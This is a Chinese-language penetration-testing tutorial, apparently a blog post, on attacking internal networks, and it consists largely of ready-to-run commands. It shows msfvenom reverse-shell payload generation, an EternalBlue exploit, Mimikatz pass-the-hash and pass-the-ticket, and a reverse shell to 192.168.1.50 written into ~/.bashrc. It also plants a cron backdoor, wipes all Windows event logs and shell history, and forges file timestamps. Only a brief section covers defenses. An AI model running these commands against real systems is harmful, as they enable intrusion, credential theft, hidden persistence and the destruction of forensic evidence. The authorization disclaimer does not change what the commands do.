1. 内网渗透实战入门指南
刚接触内网渗透时,我总被各种专业术语和复杂工具搞得晕头转向。直到真正参与了几次企业授权测试,才发现内网渗透其实有一套清晰的逻辑路径。这篇文章将用最直白的语言,带你从零开始掌握内网渗透的核心要领。
内网渗透的本质是在获得初始访问权限后,对内部网络进行横向移动和权限提升的过程。与单纯的外网渗透不同,它更注重对网络架构的理解和权限维持技术。典型的应用场景包括企业安全评估、红蓝对抗演练以及授权渗透测试等。
重要提示:所有技术仅限在合法授权范围内使用,未经许可的渗透行为将面临法律风险
2. 内网渗透核心知识体系
2.1 基础环境搭建
工欲善其事必先利其器,推荐使用以下工具组合搭建渗透环境:
- Kali Linux(渗透测试专用系统)
- VMware/VirtualBox(虚拟机环境)
- Windows Server靶机(建议2012 R2版本)
- 网络连接模式设置为NAT或仅主机模式
配置要点:
# 更新Kali工具包 sudo apt update && sudo apt full-upgrade -y # 安装常用工具 sudo apt install -y metasploit-framework wireshark nmap2.2 信息收集方法论
信息收集是内网渗透的第一步,也是最重要的一环。我通常按照以下顺序进行:
主机发现
nmap -sn 192.168.1.0/24 # 基础ping扫描 arp-scan -l # ARP探测更准确端口服务识别
nmap -sV -O -p- 192.168.1.100 # 全端口扫描+服务识别域环境探测
nltest /dclist: # Windows域查询 ldapsearch -x -h 192.168.1.1 -b "dc=test,dc=com" # Linux域查询
2.3 常见攻击路径分析
根据多年实战经验,内网渗透主要有三条典型路径:
| 攻击路径 | 适用场景 | 技术难点 |
|---|---|---|
| 域渗透路线 | 企业AD环境 | 票据传递、黄金票据 |
| 工作组路线 | 中小型网络 | 密码喷洒、哈希传递 |
| 云环境路线 | 混合云架构 | 元数据滥用、角色劫持 |
3. Windows内网渗透实战
3.1 初始立足点获取
通过以下方式获取第一个内网主机权限:
钓鱼攻击:制作免杀木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe > payload.exe漏洞利用:针对老旧系统
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.100 exploit
3.2 权限提升技巧
拿到普通权限后,尝试以下提权方法:
系统漏洞提权
whoami /priv # 查看当前权限 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 获取系统版本服务配置滥用
accesschk.exe -uwcqv "Authenticated Users" * /accepteula sc qc vulnerable_service # 检查服务配置
3.3 横向移动技术
3.3.1 哈希传递攻击
sekurlsa::pth /user:Administrator /domain:test /ntlm:xxxxxx /run:cmd.exe3.3.2 票据传递攻击
Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'3.3.3 远程执行命令
psexec.py administrator@192.168.1.101 -hashes :xxxxxx4. Linux内网渗透专项
4.1 常见提权路径
SUID滥用
find / -perm -4000 2>/dev/null # 查找SUID文件内核漏洞利用
uname -a # 查看内核版本 searchsploit linux kernel 3.10 # 搜索对应exp
4.2 持久化技术
SSH后门
echo 'sh -i >& /dev/tcp/192.168.1.50/4444 0>&1' >> ~/.bashrcCron计划任务
(crontab -l ; echo "* * * * * /tmp/.backdoor") | crontab -
5. 内网穿透与隧道技术
5.1 端口转发方案对比
| 工具 | 协议 | 适用场景 | 命令示例 |
|---|---|---|---|
| frp | TCP/UDP | 稳定穿透 | ./frpc -c frpc.ini |
| ngrok | HTTP | 快速演示 | ngrok http 80 |
| ssh | TCP | 临时通道 | ssh -D 1080 user@jumpserver |
5.2 多层网络穿透
典型的三层网络穿透架构:
[攻击机] --> [边界服务器] --> [DMZ主机] --> [核心内网]使用ssh实现级联转发:
ssh -L 1080:dmz_host:22 border_user@border_server ssh -L 3389:core_host:3389 -p 1080 localhost6. 痕迹清理与防御规避
6.1 Windows日志清除
单条日志删除
wevtutil cl security /r:evtx_file全量日志清除
for /F "tokens=*" %1 in ('wevtutil el') DO wevtutil cl "%1"
6.2 Linux痕迹处理
历史命令清理
history -c && history -w文件时间修改
touch -r /etc/passwd backdoor.sh # 修改时间为参照文件
7. 防御措施与检测建议
7.1 企业防护方案
网络分段
- 核心业务独立VLAN
- 关键系统网络ACL限制
权限控制
- 最小权限原则
- 定期审计特权账户
7.2 攻击特征检测
常见检测指标:
- 异常登录时间
- 相同账号多地登录
- 大量扫描行为
- 非常用端口通信
8. 实战中的经验之谈
在内网渗透过程中,我总结出几个关键要点:
信息收集要彻底:曾有一次因为漏扫了一个打印机管理界面,导致整个渗透路径受阻
工具不是万能的:遇到某企业网络时,常规工具全部失效,最后是靠手工分析HTTP流量找到突破口
保持隐蔽最重要:宁愿多花时间找更优雅的渗透路径,也不要贸然使用暴力破解
文档记录很关键:详细记录每个步骤和结果,这对后续的渗透和报告编写都至关重要
内网渗透就像解一道复杂的数学题,需要耐心、细致和创造性思维。每次遇到新的网络环境都是全新的挑战,这也是这个领域最吸引我的地方。